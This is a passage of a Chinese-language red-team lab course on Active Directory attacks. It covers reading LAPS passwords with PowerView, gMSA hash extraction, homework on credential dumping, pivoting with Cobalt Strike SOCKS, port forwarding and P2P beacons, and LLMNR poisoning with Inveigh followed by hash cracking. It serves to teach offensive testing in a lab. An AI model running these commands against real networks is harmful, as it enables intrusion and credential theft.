Get-NetComputer -Filter "(ms-mcs-admpwdexpirationtime=*)" | select dnshostname
```

我们看到，RAVEN-MED 域中只有 mon01 被配置了 LAPS。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/PqQo90YY3q0DU0xG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/PqQo90YY3q0DU0xG-image.png)

根据 Bloodhound，我们发现 PROD 域中的 harold 可以阅读 mon01 的 LAPS 密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/XulDfI5UR8EABYxg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/XulDfI5UR8EABYxg-image.png)

###   


### **读取明文密码**

在确定了 prod\\harold 可以阅读 mon01 的 LAPS 密码后，我们需要获得 harold 的上下文。根据之前的利用，我们可以很轻松地得到 harold 的凭证从而获得访问。

然后执行以下命令以读取明文密码：

```powershell
Get-NetComputer -Filter "(ms-mcs-admpwd=*)" | Select dnshostname,ms-mcs-admpwd
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Ome4zFXqFd7GaEBF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Ome4zFXqFd7GaEBF-image.png)

### **新 LAPS** 

就在 2023 年 4 月，微软发布了新一代 LAPS，而我们目前为止所讲的 LAPS 成为旧版本的了。新的 LAPS 有以下特征

1：Windows 原生集成。

2：支持 Azure AD

3：对本地 AD 的 LAPS 增加新的特性，例如下图所示

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/A6sjXcU6NKLvIi7w-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/A6sjXcU6NKLvIi7w-image.png)

# gMSA 组托管服务账号

**注：本小节作为知识拓展，本 Lab 尚未集成此内容。**

gMSA，即**组托管服务帐号**，提供了对**分布在多台服务器上的服务帐号**的自动化的**密码管理**、**SPN管理**、以及**委派管理权**。使用 gMSA 有助于防御 Kerberoast 攻击。包含密码信息的 blob 被存储在 gMSA 的属性 **msds-ManagedPassword** 中。只有特定的主体可以读取**密码 blob**，默认情况下即便是域管理员也无法读取。

因为 gMSA 具有 **msDs-GroupManagedServiceAccount** 的对象类，因此我们可以轻松找到。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/IJJUYnrLv0zaLU7x-l3Zimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/IJJUYnrLv0zaLU7x-l3Zimage.png)

在找到了可以读取 gMSA 的主体之后，我们可以在其上下文中使用工具 GMSAPasswordReader ([https://github.com/rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)) 获取 NTLM 哈希，之后从而破解哈希或者 进行 PTH 认证。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/s8kRMjKd4H5vZuAo-xYVimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/s8kRMjKd4H5vZuAo-xYVimage.png)

# 第9章课后作业

### **练习**

1：导出任意一主机的 SAM 数据库，分别采用在线和离线方法

2：导出任意一主机的 LSA 机密，分别采用在线和离线方法

3：导出任意一主机 (除了 Srv01) 的 LSASS 内存中的凭证，分别采用在线和离线方法

4：复现 PPL 绕过的方法

5：mimikatz 的驱动 mimidrv.sys 也可用于绕过 PPL，请尝试一下

6：在多台靶机上枚举域凭证 (应该能发现不少)，看看哪些能被字典攻击所还原出明文？

7：除了教材中举例的 Web02，我们还能在其他主机上从 DPAPI 中得到哪些明文凭证？

8：导出任意一域控制器的 NTDS 数据库，分别采用在线和离线方法

9：理解 Windows 认证理论小节中的理论知识

10：哪个 API 可以实现令牌复制？

11：尝试使用进程注入的方法来模仿用户

12：目前我们有用户的哈希，可以使用 Impacket 进行不接触 LSA 方式的 PTH。有一些 Powershell 脚本也可以达到这样的目的，请尝试

13：为什么 make\_token 比 runas 更好呢？

14：除了明文密码、哈希、票据，还可以**直接或间接**地使用哪些类型的“凭证”可以让我们实现用户模仿？

15：探究 **CreateProcessAsUser**、**CreateProcessWithToken**、**CreateProcessWithLogon**, 和 **LogonUser** 这些 API 直接的区别与联系

16：探究**登陆会话**、**令牌**、**进程**三者之间的关系。

17：导入票据的时候，我们为什么最好要创建牺牲会话或牺牲进程呢？

18：对域内任意一台其他主机开启受限管理模式，并使用 PTH 认证

19：为什么 Mimikatz 实现的 PTH 需要接触 LSASS，而 Impacket 实现的并不需要呢？

20：Impacket 支持使用 keytab 认证，请在 Web01 上创建一个用户的 keytab，再用其 keytab 文件认证到目标主机 (受害者具有特权的主机)。

# 面试专题

# 章节10：代理与跳板



# Socks代理

在之前的内容中，我们已经使用了一些代理与跳板的技术，用于访问靶场内部的主机，这是因为除了边界主机 Web01 以及 Web02 外，我们不能直接访问到其他主机。为了推动攻击的流程，我们只是讲了特定命令，例如 **socks** 的用法，但并没有阐述其概念、原理，以及为什么我们需要它。尽管这些也并不是晦涩深奥的话题，但这个章节我们正式讨论各种不同的代理与跳板技术，以在内部灵活地漫游。

### **SOCKS**

Socks 代表“Socket Secure”，它是一种通过代理服务器在客户端和服务器之间路由网络数据包的 Internet 协议。Socks 5 是该协议的最新版本，之前则是 Socks 4 和 Socks 4a。

Socks 的主要目的是有如下方面：  
**绕过网络限制**：例如，如果特定网站或服务在我们的网络中被阻止，可以使用 Socks 代理来绕过限制。  
**隐私和匿名**：Socks 可以隐藏使用者的 IP 地址，使网站或服务更难跟踪使用者的在线活动。  
作为红队与渗透测试人员，我们在行动中用于访问内部网络中的资源。Socks 的运行级别低于 HTTP 代理，因为它可以处理 TCP 以及 UDP 流量，不像 HTTP 代理那样仅限于 HTTP 流量。Socks 只是充当传输数据包的隧道，与传输的实际数据无关。

### **Socks 版本**

##### **Socks 4**

Socks 4 是第一个被广泛适用的 Socks 协议版本，它支持 TCP 协议，适用于浏览网站、文件传输等，但不支持 UDP 协议，即用于流式传输 媒体、VoIP 电话等。Socks4 也不支持身份验证，因此任何客户端都可以使用代理，从而带来潜在的安全问题。

##### **Socks 4a**

Socks 4a 是一个支持主机名解析的扩展，这意味着代理可以**解析域名**，而不仅仅是 IP 地址，这有助于提高匿名性，因为 DNS 请求可以通过代理转发，而不是由客户端的本地 DNS 服务器处理。与 Socks 4 一样，Socks 4a 不支持身份验证。在 CS **4.7** 版本之前，socks 命令内置的就是 Socks 4a 版本。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/dUv4Xlg8XBUzOC4F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/dUv4Xlg8XBUzOC4F-image.png)

我们查看一下 Shodan 所爬到的公开 Socks 4a 服务器:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/cM95cZ6LK0B0p5Be-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/cM95cZ6LK0B0p5Be-image.png)

因为**不支持认证**，因此在没有其他访问控制的情况下(例如 IP 白名单、Socks 服务器仅允许访问特定地址等)，如果黑客劫持到对公网开放的 Socks 4/4a 服务器，可以为自己所用以隐蔽行迹。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/wzB2M8W0P4wgiYMf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/wzB2M8W0P4wgiYMf-image.png)

#####   


##### **Socks 5**

Socks 5 同时支持 TCP 与 UDP 协议，使其适用于不同类型的网络流量。Socks 5 还包括对各种身份验证机制的支持，增强了代理使用的安全性。Socks 5 也像 Socks 4a 一样支持 IPv6 地址和主机名解析。Socks5 比以前的版本具有更多功能，但也因此可能需要更多资源，以及更复杂的客户端软件才能充分利用其功能。总的来说，Socks5 是该协议最先进、最灵活的版本，是如今大多数应用程序的首选。从 CS 4.7 版本开始，支持了 Socks 5。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/89e9uQD51iUfWJ0a-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/89e9uQD51iUfWJ0a-image.png)

### **Proxychains**

当配置好 Socks 服务器后，在 Linux 上，通过在要运行的程序以及参数前加入 proxychains 这个包装器以实现让任何应用的流量通过 Socks 代理进行隧道。除了 CS 自带的模块与命令，以及可以通过 CS 运行的工具 (例如 C# 工具，BOF 等)，一些外部工具例如 Impacket 也会很有作用，尤其是考虑到 Windows 没有执行 Python 的原生功能 ，因此，在我们自己的系统上使用这些工具并且将通信通过 Beacon 隧道到内部网络可以扩展我们的军火库。同时，这么做还有 OPSEC 的优势，不需要将工具和代码带到目标主机上

在 Beacon交互中，执行命令 **socks 1080**，这会在团队服务器上开放 1080 端口作为 Socks 4a 服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/zES7XTUJasaRIUgu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/zES7XTUJasaRIUgu-image.png)

当然了，在使用 proxychains 之前，我们需要修改一下 **/etc/proxychains.conf** 配置文件，配置 Socks 服务器以及端口。在团队服务器上，配置 **127.0.0.1:1080** 即可，Socks 版本根据实际情况填写。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/oIT6PmTdLgzzklFI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/oIT6PmTdLgzzklFI-image.png)

若想使用 proxychains 来隧道 nmap 流量实现对于内网的扫描，命令应该是 **proxychains nmap -Pn -sT -p-**。这里我们用的是 **TCP 扫描**且跳过了**主机发现**，因为不是所有流量都可以被隧道，**ICMP** 与 **SYN** 扫描就不可以。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/hFgIMtmCw6tWytKR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/hFgIMtmCw6tWytKR-image.png)

在 Windows 端，我们可以使用代理客户端例如 **Proxifier** ([https://www.proxifier.com/](https://www.proxifier.com/)) 来隧道应用的流量。打开 Proxifier，前往 **Profile -&gt; Proxy Servers**，添加一个新的代理条目，将 IP 与端口指向团队服务器的 Socks 服务，即 **&lt;你们的VPS IP&gt;:1080**。  
然后，在 **Profile -&gt; Profixication Rules** 中可以自定义规则，例如只有**指定的应用**发送到指定网段的流量经过代理。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/evsznY2n6M1QMlpq-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/evsznY2n6M1QMlpq-image.png)

指定 RDP 客户端的流量经过 Socks 代理

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Oz4CUvZ1Ug1UVLMP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Oz4CUvZ1Ug1UVLMP-image.png)

然后我们便能在 Windows 系统上通过 RDP 客户端访问内网中的 File01 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BVuGlTusUt10m5n5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BVuGlTusUt10m5n5-image.png)

我们还可以使用浏览器作为 Socks 客户端。火狐浏览器加上 **FoxyProxy** 插件是使用浏览器访问内部网络中 Web 应用的理想方案。我们给 FoxyProxy 添加一个新的实体，代理类型选择 **Socks 4**，然后输入团队服务器的 Socks 代理的 IP 与端口，就可以浏览网络内部的应用了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/GXOOuRvClH6OAtph-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/GXOOuRvClH6OAtph-image.png)

例如，我们可以通过 Socks 代理访问 Dc03 上的 ADCS Web 注册接口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/FZidUbw9wTSi0Qw3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/FZidUbw9wTSi0Qw3-image.png)

# 端口转发

端口转发是计算机网络中使用的一种技术，允许外部设备连接到专用网络内的特定设备，这是通过将通信请求从一个 IP 地址和端口号转发到另一个 IP 地址和端口号来实现的。而在跳板 (Pivoting) 的上下文中，攻击者可以通过正向端口转发技术来绕过网络限制访问其他的主机，或者通过逆向端口转发让无法访问外部网络的主机与攻击者的主机得以通信。

一个实际的例子，攻击者攻陷了边界主机 B，并且实现了对内部网络其他主机的代码执行能力。当攻击者试图让内部主机 C 运行 Beacon 并获得会话的时候发现主机 C 不能与互联网通信，即无法连接到我们的转发器 A 上。因为 B 与 C 有着共同的网卡接口，因此内部网络的访问控制相对宽松，B 与 C 之间有着能互相通信的端口，而 B 能与转发器 A 直接通信，因此攻击者可以将 B 作为 A 与 C 之间的中继主机。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/oLnnY3N8eSOnSLM5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/oLnnY3N8eSOnSLM5-image.png)

在我们的靶场中，为了降低复杂度，并没有设置诸多基于网络的访问控制，即一切都是最理想的情况。例如 white-bird 域中，Web02 是边界主机，如果 Dc05 不能连接互联网，那么我们可以将 VPS 的一端口逆向转发到 Web02 上。这样，当 Dc05 访问 Web02 的该端口时，就像在直接访问 VPS 的该端口。

在 CobaltStrike 中，rportfwd 命令可以用于创建逆向端口转发隧道。在 Web02 上，我们执行命令 **rportfwd 8180 127.0.0.1 8180**，这样，我们将团队服务器的 8180 端口转发到了 Web02 的 8180 端口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Vdyt8Z0JUxt8hF99-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Vdyt8Z0JUxt8hF99-image.png)

当 Dc05 访问 Web02 的 8180 端口时，团队服务器的 8180 端口会有访问记录。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/EDlvLPAZh7kdjQ2M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/EDlvLPAZh7kdjQ2M-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/VXkLUkfKgfhzX6ZA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/VXkLUkfKgfhzX6ZA-image.png)

对于 rportfwd 命令，我们需要注意该命令先隧道了传向团队服务器的流量，然后团队服务器再将流量传递给目标，因此该命令不用于在**内部主机之间**中继流量。并且，这些流量是包含在 **C2 流量**中的，而不是作为单独的套接字。如果我们**没有管理员权限**，只能使用**高端口号**。

CS 还有这 **rportfwd\_local** 命令，与 rportfwd 有所不同的是，前者将流量隧道至 CS 客户端而非团队服务器，其余用法则相同。因为也有很多时候我们在运行 CS 客户端的主机上使用其他工具，这会很有用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/rHsfk2INULHVyhc2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/rHsfk2INULHVyhc2-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/pC3g5NWLgFjMI0q9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/pC3g5NWLgFjMI0q9-image.png)

此外，我们还可以通过 **netsh** 来实现端口转发，这在内部主机直接中继流量会尤其方便，因为即便是内网，也会存在着网络隔离，域与域之间也默认开启着防火墙 (尽管我手动关闭了)。假设这么一种情况，white-bird 域中的 Dc05 可以与 raven-med 域中的 Dc02 互相连通，Dc02 与 med-factory 域中的 Dc03 互相连通，但 Dc05 与 Dc03 互相不连通。考虑到域信任的关系，这在实际中是可能存在的情况。那么，我们可以让与 Dc05 以及 Dc03 都连通的 Dc02 作为中继。

我们在 Dc03 上运行该脚本：

```powershell
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 4444)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port 4444"
while ($true)
{
	$client = $listener.AcceptTcpClient()
	Write-Host "A client has connected"
	$client.Close()
}
```

这个脚本绑定了 4444 端口，如果有任何外来通信连接到该端口，那么会输出消息。接着，在 Dc02 上使用 netsh 添加一个 v4tov4 代理：

```powershell
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=172.16.1.31 connectport=4444 protocol=tcp
```

该命令指定了 Dc02 上绑定的网卡接口以及端口，转发至的目标主机的地址以及端口，协议为 TCP。添加完成后，使用命令 **netsh interface portproxy show v4tov4** 来罗列刚才添加的规则：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/PrmRieoGOOjIYnS0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/PrmRieoGOOjIYnS0-image.png)

在 Dc05 上，使用 Test-NetConnection 来连接 Dc02 的 4444 端口，我们会发现 Dc03 上持续运行的脚本显示有客户端连接了，说明 Dc05 对于 Dc03 的访问通过 Dc02 的中继达成了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/AYLqOrZI0EHpmRWx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/AYLqOrZI0EHpmRWx-image.png)  
最后，我们可以使用如下命令移除添加的 v4tov4 代理。

```powershell
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```

使用 netsh 添加端口转发规则，我们需要成为管理员，无论端口号高低。

# 多重跳板

企业网络的边界所在的主机，往往具有多个网络适配器，1 个面向公共网络，至少 1 个面向企业内部网络，因此在我们进入边界之后需要以此主机作为跳板，继而访问内部网络。不过，即便在企业内部也可以有多个网段，因此也会有存在着多个适配器的主机。

考虑下述可能的情况：  
1：面向公网的主机 Web01 有着两张网卡，一张面向公网，一张的网段是 **172.16.1.1/24**。  
2：内网中的一台主机 Uat01 也有着两张网卡，一张的网段是 **172.16.1.1/24**，另一张为 **10.10.10.1/24**。  
除此之外，还有可能存在其他内网网段。我们可以轻松地在 Web01 的 Beacon 上运行 **socks 1080**，这使得我们可以通过 Socks 代理访问到 172.16.1.1/24 网段的主机。那么如果我们想访问 10.10.10.1/24 网段，该如何利用 C2 内置功能以及其他工具实现呢？

虽然在我们的靶场里，不存在第 2 个内网网段以直接供我们参考，但我们可以构造这样一个网络环境：我们的团队服务器都是搭建在 VPS 上的，并且为了保护团队服务器的安全性，暴露最少的端口在公网上。因为在任意一个 Beacon 上运行了 socks 1080 的命令，因此团队服务器是一个 Socks 服务器。但如果想从我们的 VM 上运行工具，那么即跨越了 2 层网络：**个人 VM** 到**团队服务器**，**团队服务器**到**内网主机**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/UuvRnQnr9uAdUC46-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/UuvRnQnr9uAdUC46-image.png)

以我个人使用配置为例，我的 VM 内网网段是 **192.168.0.1/24**，我的 VPS 的内网网段是 **172.26.5.1/24**，而靶场的内网网段是 **172.16.1.1/24**。那么，我应该怎么做使得可以在个人主机的 VM 上使用工具并最终将流量隧道至靶场的内网主机呢？(我们这里不是为了刻意把问题复杂化，而是模拟一个多层的网络环境，考虑到靶场内只有 1 个内网段)

### **Socks 链**

##### **Socks + 端口转发**

这是我个人偏好的方法。为了保证 VPS 的安全性，我们尽可能少地暴露端口在公网，甚至在供应商的 VPS 控制面板中配置了 IP 白名单，只允许少数 IP 访问 VPS 的特定端口，例如只有我们的个人主机才可以通过 SSH 访问 VPS。那么，我们可以将团队服务器的 Socks 端口转发到 VM 的 1080 端口，然后配合 proxychains 即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/29hIK2QmraB3EF6D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/29hIK2QmraB3EF6D-image.png)

如果想要访问在 Dc03 上的 ADCS 网页终端，我们直接在 curl 前加上 proxychains 即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/7r5UMpJAhzebzcFN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/7r5UMpJAhzebzcFN-image.png)

#####   


##### **多重 Socks**

或者，我们往 Socks 代理链中增加一环。修改 **/etc/proxychains4.conf** 文件的代理链

```yaml
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
 socks4  127.0.0.1 1080
 socks4  <VPS 内网段> 1080
```

通过 SSH 在 VM 本地配置 Socks 代理

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/nudNc77V71RZFvY5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/nudNc77V71RZFvY5-image.png)

最后，使用 proxychains curl 访问 ADCS 网页终端：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/UR65ZvcRAZhArpaP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/UR65ZvcRAZhArpaP-image.png)

我们可以看到 **127.0.0.1:1080 ... 172.26.5.81:1080 ... 172.16.1.31:80** 这条代理链。

### **C2特性**

在 CS 中，P2P Beacon 也可以协助我们实现对受到更加严格的网络隔离的主机进行控制。首先，我们需要创建这类 Beacon 的监听器。

##### **TCP Beacon**

创建 **TCP 监听器** 是很简单的，只有监听器名称是强制指定的，但**更换端口**是建议的。该监听器的载荷被执行后，并不会返回团队服务器新的会话，而是会给本机开放一个指定端口，使其成为一个 TCP 服务器，以此和其他主机进行通信。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/bdAPcffaDP7f9dLY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/bdAPcffaDP7f9dLY-image.png)

我们将 TCP Beacon 上传到 Dc05 上。在实际情景中，我们能对这样的受害主机进行命令执行 (例如通过 WinRM，RDP，SSH 等)，但因为网络隔离的原因，并不能直接连接到团队服务器。执行后，发现 4444 端口果然开启了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/2YTsqrbQQWVlEZIy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/2YTsqrbQQWVlEZIy-image.png)

在 Web02 的 Beacon 交互中，执行命令 **connect 172.16.1.51 4444**，我们就能看到 Dc05 的会话出现在团队服务器上了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Q0tCjAeRBbQoml16-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Q0tCjAeRBbQoml16-image.png)

需要注意的是，我们看箭头方向，是从 Web02 指向 Dc05 的，因为 Dc05 是 TCP 服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/lXZ8wWYpDOScHkyZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/lXZ8wWYpDOScHkyZ-image.png)

#####   


##### **SMB Beacon**

创建一个 SMB 监听器同样很简单，我们只需要指定监听器名称即可，但更换**命名管道的名称**对**特征的规避**是有必要的。该监听器所对应的载荷被执行后，会给本机开启一个**命名管道服务器**，监听新的连接，以此和其他主机进行通信。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/6vIu4pMk1eNtoWjM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/6vIu4pMk1eNtoWjM-image.png)

在 Dc05 上运行 SMB Beacon，我们依旧不会看到新的会话上线。回到 Web02 的交互中，执行 **link 172.16.1.51**，然后我们就能看到 Dc05 通过 SMB 监听器上线了。箭头方向依旧是从 Web02 指向 Dc05 的，因为 Dc05 是命名管道服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/NVE1RCxWxJrkHaVd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/NVE1RCxWxJrkHaVd-image.png)

总结一下，SMB 和 TCP 监听器，这 2 个 P2P 监听器与 HTTP/HTTPS 的不同与优势在于以下这些：

1：执行了 P2P 载荷的受害主机不与 C2 服务器直接通信，而是在受害主机之间形成一条父子关系的通信链。正因为不直接与 C2 服务器通信，从而减少 C2 通信被发现的机会。

2：一般来说，内部网络的网络控制会更宽松一些，因此可以绕过一些网络隔离限制。

3：如果开启 命名管道/TCP 服务器的会话断了，连接至其的受害主机也全部失去连接。

当在**受害主机 2** 执行了 **命名管道/TCP 监听器的载荷**，我们在 C2 服务器上不会看到他们的会话，而他们会因此充当**命名管道/TCP 服务器**。这时候，我们在**受害主机 1**的 Beacon 会话中连接到它们。通信链如下图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HXpko7nHWA6EhXtC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HXpko7nHWA6EhXtC-image.png)

##### **Pivot Beacon**

**跳板监听器**，是通过当前可用的 Beacon 会话创建的，无法在监听器面板中创建。跳板监听器的原理与 TCP 监听器相同，只是反向的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/c3sN2tLtctSeEAsy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/c3sN2tLtctSeEAsy-image.png)

我们选择 Web02 并为其创建一个跳板监听器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Akt4BvI4ZOb1fEDf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Akt4BvI4ZOb1fEDf-image.png)

随后，我们发现 Web02 开启了 5555 端口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/JOe6i4eQX86UjoXt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/JOe6i4eQX86UjoXt-image.png)

在 Dc05 上执行跳板监听器的载荷，我们立刻就获得了 Dc05 的新会话。与之前的不同的是，箭头是从 Dc05 指向 Web02 的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Qwq3Rc95aqyBUbdt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Qwq3Rc95aqyBUbdt-image.png)

与 SMB/TCP 监听器有所不同的是，如果**受害主机 2** 执行了**以受害主机 1 作为跳板监听器**的载荷，会直接连接到**受害主机 1**，进而间接连接到 C2 服务器。通信链如下图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/pIVN9AwnXNWmlnJ7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/pIVN9AwnXNWmlnJ7-image.png)

# 中毒与中继攻击

### **NetBIOS 和 LLMNR 中毒理论**

**NetBIOS-NS** (NetBIOS Name Service) 和 **LLMNR** (Link-Local Multicast Name Raesolution) 是用于在 **DNS 解析失败**时为同一本地链路上的主机执行名称解析的协议，它们在现代 Windows 计算机上默认启用。在现代企业网络中，虽然 DNS 被大量使用，但有时由于配置错误、DNS 表不完整、服务器不可用等原因，它无法按预期工作。NetBIOS-NS 和 LLMNR 作为替代名称解析协议填补了这一空白。当主机请求网络资源时，为了识别目标资源并发送网络流量，将按顺序执行以下查询，直到识别出名称：

1：请求是否针对计算机本身  
2：该名称是否存在于缓存中或在本地 hosts 文件中  
3：在 DNS 服务器中查找记录  
4：如果启用了 LLMNR，则通过本地链路广播 LLMNR 查询  
5：如果启用了 NetBIOS，则通过本地链接广播 LLMNR 查询  
LLMNR 和 NetBIOS-NS 查询将被广播，如果主机识别主机名并知道其 IP 地址，主机将响应，攻击者可以通过恶意响应受害者计算机来利用该过程。下图演示了攻击

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-12/scaled-1680-/J4X7EPlFgQmqcyTT-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-12/J4X7EPlFgQmqcyTT-image.png)

1：用户想要访问指定网络资源但输错了主机名  
2：DNS 服务器 (DC) 查该找主机名，但在 DNS 记录中不存在  
3：广播 LLMNR/NetBIOS-NS 查询  
4：攻击者通过响应受害者工作站伪装成所需的网络资源  
5：受害者主机对攻击者进行身份验证

  
让我们手动复现利用过程。可用于此目的的最常用工具是 **Responder** 和 **Inveigh** ([https://github.com/Kevin-Robertson/Inveigh](https://github.com/Kevin-Robertson/Inveigh))。在内网渗透中，Responder 会更常用，但考虑到我们的攻击主机并不在内网中，因此我们可以在受害主机上使用 Inveigh，并且因为 Inveigh 是 C# 编写的，我们甚至可以做到文件不落地。

考虑到 CobaltStrike 并非是交互式的，出于教学目的，我们还是在本地运行该工具。我们可以查看该工具的文档来了解默认启用和禁用的选项。直接运行 Inveigh 的话，我们发现 Inveigh 开启了多个 **Rogue 服务器**。不像 Linux，SMB 对于 Windows 是默认且重要的服务之一，因此 Inveigh 则是对其进行了**嗅探** (在 Linux 主机上开启 Responder 的话，会开启 **Rogue SMB 服务器**)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ygcec5hXuUY1RsAT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ygcec5hXuUY1RsAT-image.png)

如输出所示，我们可以进入交互式控制台执行特定命令，例如查看已经捕获到的哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/HpiLN2c8qlZ2BLy7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/HpiLN2c8qlZ2BLy7-image.png)

在 file01 主机上，以 prod\\alice 身份访问一个不存在的网络服务，如 **\\\\donotexist**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/WXqyqDDqgFmMNpMX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/WXqyqDDqgFmMNpMX-image.png)

很快，Inveigh 就捕获到了 alice 的 NetNTLMv2 哈希。该哈希不可以被直接用于 PTH，但我们可以使用hashcat 或者 John 破解哈希来获得明文密码 (虽然我们已经知道 alice 的明文密码了)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ym73JclrDBQ9pKtr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ym73JclrDBQ9pKtr-image.png)

这里，我们使用 John 来破解hash，命令如下：

```bash
 john --format=netntlmv2 <存储哈希的文件> --wordlist=<字典文件>
```

